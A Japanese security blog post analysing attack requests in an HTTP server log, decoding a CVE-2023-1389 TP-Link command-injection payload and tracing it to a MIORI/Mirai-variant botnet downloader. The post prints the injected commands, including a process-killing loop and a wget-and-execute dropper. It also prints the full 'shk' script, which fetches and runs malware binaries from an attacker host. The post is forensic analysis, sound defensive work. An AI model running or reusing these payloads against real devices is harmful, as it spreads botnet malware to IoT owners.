【マルウェア・MIORI】HTTPサーバーの不審なアクセスログの調査✨


こんにちわ。株式会社フォアーゼットにてペンテスターをしている蔀です。

最近はあまりLinuxに触れていなかったので、わくわくしながら記事を書きます。

:::note warn
最初はWhoisとかだけして終わると思っていました。調査進めながら書いていたら、マルウエアが出てきたりしたので、非常に濃い内容となっております。くれぐれもコマンドが分からない状態で真似をしないようにお願いいたします。

また、自己責任で記事での技術検証を行う際は、仮想環境やそれに類するものを使うように留意してください。筆者および弊社はこの記事の技術検証により生じた損害等について一切の責任を負わないものとします。
:::

うっかりコピペでコマンドが動作しないように、テキストにて記述したIPアドレスの一部（`0`→`o`など）改変しております。

# 概要

自社のクラウドインスタンスでお試し稼働しているWEBアプリに特徴的なログが残っておりました。

これからセキュリティに取り組むエンジニアさんやフォレンジックに興味がある方に見ていただければ嬉しいと思います。

# ログを見る

```
45.148.1o.174 - - [24/Jun/2024 23:28:37] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`for+proc_dir+in+/proc/[0-9]*;+do+pid%3D${proc_dir%23%23*/};+buffer%3D$(cat+"/proc/$pid/maps");+if+[+"${%23buffer}"+-gt+1+];+then+if+[+"${buffer%23*"/lib/"}"+%3D+"$buffer"+]+%26%26+[+"${buffer%23*"telnetdbot"}"+%3D+"$buffer"+];+then+kill+-9+"$pid";+fi;+fi;+done`) HTTP/1.1" 404 -
45.148.1o.174 - - [24/Jun/2024 23:28:38] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`cd+/tmp;+rm+-rf+shk;+wget+http://45.148.10.78/shk;+chmod+777+shk;+./shk+tplink;+rm+-rf+shk`) HTTP/1.1" 404 -
```

全部が見えなくてかわいそうなので

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1523062/0795c15b-a693-f3f1-85e6-cda25ce18eb5.png)


## HTTPサーバーのアクセスログフォーマット

アクセスログのフォーマットについておさらいです。

（カスタマイズが可能なので、一概には言えませんが）利用していたpythonのhttp.serverで構築したHTTPサーバーでは以下のようなログフォーマットを採用していました。

以下は例です。

```
127.0.0.1 - - [25/Jun/2024 12:34:56] "GET /index.html HTTP/1.1" 200 234
```

具体的には、以下のようなフォーマットになります。

```
送信元IP - - [日時] "HTTPメゾッド /アクセス先 HTTPバージョン" ステータスコード レスポンスボディのサイズ
```

要するに、以下の情報がログを見るうえで重要な重要となります。

- 送信元IPアドレス
    - 送信したのが誰なのかが分かります。IPアドレスに紐づいた情報からBOTなのか、攻撃者なのかなどの情報までわかる場合があります。
- アクセス先
    - GETリクエストの場合には、どんなリクエストを送ったかまでもわかります。
- ステータスコード
    - リクエストが成功したのか、失敗したのかなど、サーバーが送られたデータをどのように処理したのかが分かります。

## もう一度見る

以上を踏まえてもう一度ログを見てみましょう。

```
45.148.1o.174 - - [24/Jun/2024 23:28:37] "GET /cgi-bin/luci/;stok=/locale?
form=country&operation=write&country=$(id>`for+proc_dir+in+/proc/
[0-9]*;+do+pid%3D${proc_dir%23%23*/};+buffer%3D$(cat+"/proc/$pid/maps");
+if+[+"${%23buffer}"+-gt+1+];+then+if+[+"${buffer%23*"/lib/"}"+%3D+"$buffer"+]
+%26%26++"${buffer%23*"telnetdbot"}"+%3D+"$buffer"+];
+then+kill+-9+"$pid";+fi;+fi;+done`) HTTP/1.1" 404 -
```

整理してやると以下のようになります。

|内容|値|
|---|---|
|送信元IPアドレス|45.148.1o.174|
|アクセス先|`/cgi-bin/luci/;stok=/locale`|
|ステータスコード|404|

管理しているサーバーではcgiなど動いておらず、該当のディレクトリもありません。

よって、結論からすると、**攻撃らしきリクエストを受けたが攻撃は成功しなかった**ということになります。

# アドレス

果たして、誰がどのような目的でリクエストを送信したのか考察するためにアドレスに関してのリサーチを行います。

## 送信元IPアドレスの確認

送信元のIPアドレスは`45.148.1o.174`でした。こちらについて調べてみましょう。

## whois

IPアドレスが誰のものか調べるには`whois`コマンドを利用します。

```
┌──(ayato㉿redTeam)-[~]
└─$ whois 45.148.1o.174

＜中略＞

inetnum:        45.148.10.0 - 45.148.10.255
org:            ORG-PA1232-RIPE
mnt-domains:    CYBR-DMZ
mnt-domains:    CYBR-DMZ
netname:        DMZHOST
descr:
country:        AD
admin-c:        ACRO26775-RIPE
tech-c:         ACRO26775-RIPE
status:         ASSIGNED PA
mnt-by:         CYBR-DMZ
mnt-by:         pptechnology
created:        2019-09-02T15:08:45Z
last-modified:  2023-12-15T16:03:28Z
source:         RIPE

organisation:   ORG-PA1232-RIPE
org-name:       PPTECHNOLOGY LIMITED
country:        GB
org-type:       OTHER
address:        35 Firs Avenue, London, England, N11 3NE
abuse-c:        ACRO26775-RIPE
mnt-ref:        pptechnology
mnt-by:         pptechnology
created:        2019-09-02T14:59:13Z
last-modified:  2022-12-01T17:22:22Z
source:         RIPE # Filtered

＜略＞
```


以上のことからわかったのは、`country: AD`つまり、アンドラからのリクエストです。
ただし、会社はイギリスのものなので、レンタルサーバーやVPNの類なのでしょうか。

遠い国からのリクエストですね。13,514kmも離れており、歩いたら2,934時間（４か月ほど）かかるそうです💦

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1523062/43dd8307-6f48-e83f-d1aa-a057946e0701.png)

## shodan

もう少しIPアドレスについて調べてみます。

「Shodan」と呼ばれる、様々なサーバーのデータをオンラインで見えるサイトを利用します。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1523062/3cafd55b-7b9c-bc6a-c5c6-eee4caaf496e.png)

https://www.shodan.io/host/45.148.10.174

（場所がニュージーランドのアムステルダムになってるのはなぜかしら...？）

Ubuntuを利用したサーバーのようですね。

TAGのところが「SCANNER」になっているので、オンラインでスキャンを実行するBOTのようですね。

## Virus Total

サーバーをスキャンするBOTということが判明したので、IPアドレスに関してもう少しC2サーバーやウイルスの情報を集めたところで情報を探してみましょう。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1523062/579bab7d-8196-4925-1bde-390d2c869436.png)

IPアドレスについて検索した結果「ボットネットの利用するIPアドレス」ような結果が見られました。

https://www.virustotal.com/gui/ip-address/45.148.10.174/detection

どうやら、ボットネットからもしくはボットネットの拡大用サーバーからのスキャンで間違いないようです。

# リクエストの解析１

## CyberChef

せっかく送信していただいたリクエストが見えにくいので、最初のリクエストを少し加工してみます。

これが

```
45.148.1o.174 - - [24/Jun/2024 23:28:37] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`for+proc_dir+in+/proc/[0-9]*;+do+pid%3D${proc_dir%23%23*/};+buffer%3D$(cat+"/proc/$pid/maps");+if+[+"${%23buffer}"+-gt+1+];+then+if+[+"${buffer%23*"/lib/"}"+%3D+"$buffer"+]+%26%26+[+"${buffer%23*"telnetdbot"}"+%3D+"$buffer"+];+then+kill+-9+"$pid";+fi;+fi;+done`) HTTP/1.1" 404 -
```

こう。

```
/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`for proc_dir in /proc/[0-9]*; do pid=${proc_dir##*/}; buffer=$(cat "/proc/$pid/maps"); if [ "${#buffer}" -gt 1 ]; then if [ "${buffer#*"/lib/"}" = "$buffer" ] && [ "${buffer#*"telnetdbot"}" = "$buffer" ]; then kill -9 "$pid"; fi; fi; done`)
```

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1523062/54489350-2bd5-2ebc-5ce7-71f111205576.png)


リクエストの部分だけ抽出しましたが、非常に見えやすくなりましたね。

どうやら、`/cgi-bin/luci/;stok=/locale`というパスを持つ製品の`country`パラメータには一定条件下で発動するOSコマンドインジェクションの脆弱性があるようです。

少しググってみたらこのようなPoCを発見しました。

https://github.com/Voyag3r-Security/CVE-2023-1389/blob/main/archer-rev-shell.py

以下抜粋（一部改変）：

```python
"https://" + IP + "/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(" + CMD + ")"
```

まったく同じようなペイロードです。

CVE-2023-1289が割り当てられた、TP-LinkのArcher AX21 WiFiという製品の脆弱性らしいです。

## SHELL

上記でCyberChefにかけた部分で、コマンドを実行している箇所がありました。

では、攻撃者はどのようなコマンドを実行したのでしょうか。`$()`で囲われた部分がコマンドの実行部分なので、そこを読みやすくします。

```
id>`for proc_dir in /proc/[0-9]*; do pid=${proc_dir##*/}; buffer=$(cat "/proc/$pid/maps"); if [ "${#buffer}" -gt 1 ]; then if [ "${buffer#*"/lib/"}" = "$buffer" ] && [ "${buffer#*"telnetdbot"}" = "$buffer" ]; then kill -9 "$pid"; fi; fi; done`
```

```bash
#!/bin/bash

# すべてのプロセスに対して実行
for proc_dir in /proc/[0-9]*; do
    # ターゲットとなるPIDを指定
    pid=${proc_dir##*/}
    # プロセスのメモリーのマップ情報を変数に格納
    buffer=$(cat "/proc/$pid/maps")
    # マップが存在する場合、
    if [ "${#buffer}" -gt 1 ]; then
        # buffer内に/lib/が含まれていないかつtelnetdbotが含まれていないプロセスの場合、
        if [ "${buffer#*"/lib/"}" = "$buffer" ] && \
            [ "${buffer#*"telnetdbot"}" = "$buffer" ]; then
            # プロセスを終了する
            kill -9 "$pid"
        fi
    fi
done
```

つまり、「システムの重要なファイルとtelnetdbot以外はキルしてしまう」というコマンドでした。

実行が成功しなかったからよかったものの、非常に悪意のあるコマンドですね。

ちなみに、最初に`id>`のようにパイプしている理由としては定かではありませんが、以下のような理由が考えられます。

- サイドエフェクト回避: `id>`によって実行されたコマンドの出力により、出力が標準出力や標準エラー出力に表示されるのを防いでいる？
- タイミング調整: `id`コマンドの出力をリダイレクトすることで、シェルが一連のコマンドを実行するタイミングを調整する目的がある？

# リクエストの解析２

こちらも順番に見ていきます。

## CyberChef

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1523062/942f70d7-72d5-407b-8882-ea154c178896.png)

今回はそこまで複雑でないように見えます。

## SHELL

実行しようとしたコマンドを読みやすくします。

```shell
#!/bin/bash

cd /tmp
rm -rf shk
wget http://45.148.1o.78/shk
chmod 777 shk
./shk tplink
rm -rf shk
```

重複するものがないように一度`shk`というファイルを削除後、`45.148.10.78`から`shk`というファイルを取得しようとしています。その後、実行（というかすべての）権限を付与し、`tpkink`という引数で実行したのちに`shk`を削除します。

## SHKとは。

SHKのスクリプトが気になったので、実際にWgetしてみました。

```
┌──(ayato㉿redTeam)-[~]
└─$ wget http://45.148.1o.78/shk
--2024-06-25 02:09:06--  http://45.148.1o.78/shk
Connecting to 45.148.10.78:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 448
Saving to: ‘shk’

shk 100%[=================================================>]  448  --.-KB/s    in 0s

2024-06-25 02:09:07 (46.5 MB/s) - ‘shk’ saved [448/448]
```

意外とあっさり。

```bash
binarys="mips mpsl x86 arm arm5 arm6 arm7 sh4 ppc arc"
server_ip="45.148.1o.78"
binout="telnetdbot"
exec="your device just got infected to a bootnoot"

for arch in $binarys
do
rm -rf $arch
rm -rf $binout
cd /tmp || cd /var || cd /dev; wget http://$server_ip/$arch -O $binout || curl -O $binout http://$server_ip/$arch || tftp -g -l $binout -r $arch $server_ip
chmod 777 $binout
status=`./$binout $1`
if [ "$status" = "$exec" ]; then
        break
fi
done
```

どうやら怪しげなファイルを持ってくるシェルスクリプトのようです。

上記のスクリプトを読むと、`45.148.1o.78`にバイナリ形式を指定するとそのままダウンロードできるっぽいです。

```bash
wget http://45.148.1o.78/x86
```

実行ファイルを確認すると、Miraiの亜種であることが確認できます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1523062/87815da3-cc97-47ad-8769-6234c58b42b4.png)

https://www.virustotal.com/gui/file/3cec54598d134f89f19dd9e5975bf346ed738a3019d24276a1a718cee964dcac/detection

# マルウエア解析

私はその手の専門家ではないですができるところまでやってみます。

とりあえずGhidraの関数グラフで見てみました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1523062/3715825c-badf-b52d-bd5a-40cfb419b990.png)

でかいですね。膨大な量のプログラムであることが分かります。

僕の手に負えないことに気が付いたので、初歩的な解析方法を試みます。

## Strings

stringsコマンドはファイル中の文字列を抽出できるコマンドです。

```
strings x86
```

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1523062/0c2a00c3-ed70-e596-3833-ee638ff27c7b.png)

何やらHTTPの通信をするような文字列が見えました。

## ANY.RUN

なんでもマルウェアなどをサンドボックス上で動かせるサイトがあります。

https://app.any.run/tasks/f6e399af-c3b1-4434-998b-c6795d577169

こちらで実際に動かした結果、以下のような特徴的なプロセスが実行されました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1523062/d1f4837b-b60d-29d1-e7da-b7d5d980ee53.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1523062/5e16da79-6f4a-5eb6-38c5-4bf39c724f7e.png)

`localhost:37464`が`152.89.244.142:33335`とTCPのやり取りを始めたようです。

## MIORI

先ほどのANY.RUNの結果に「`MIORI`が検知された」のような記述があります。

これはいったい何なのでしょうか。

https://www.trendmicro.com/ja_jp/research/19/f/source-code-goes-on-sale-for-Miori-the-IoT-malware-with-a-new-and-unique-communication-protocol.html

MiraiのようなIoTを対象としたマルウェアとのことです。

詳しく調べてみます。MIORIという文字列が通信の中で見つかりました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1523062/46b41dce-6782-3aae-f54c-bff7693547c5.png)

しかしながら、C2となっている場所に通信を送っても何も帰ってきません。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1523062/1ee9580c-16a7-dcb1-c1c4-5157bbd474d1.png)

MIORIの特徴として、「C2の待ち受けポートと管理コンソールのポートが同一」という点が挙げられるのですが、こちらは亜種のようでした。

# まとめ

以上のことから、サーバーに来たリクエストはCVE-2023-1389を悪用した、Miraiの亜種のMIORIの亜種を感染させるための攻撃ということが分かりました。

久しぶりにLinuxやSHELLスクリプトを窘めてとても楽しかったです。

１年前の攻撃手法が現在にも使われているということは、アップデートがいまだに済んでいないエンドユーザーが多いということが分かります。エンドユーザーは定期的なアップデートを意識しなければいけないですね。また、企業のセキュリティは万全かどうかをチェックするために定期的な脆弱性診断を実施することをお勧めいたします。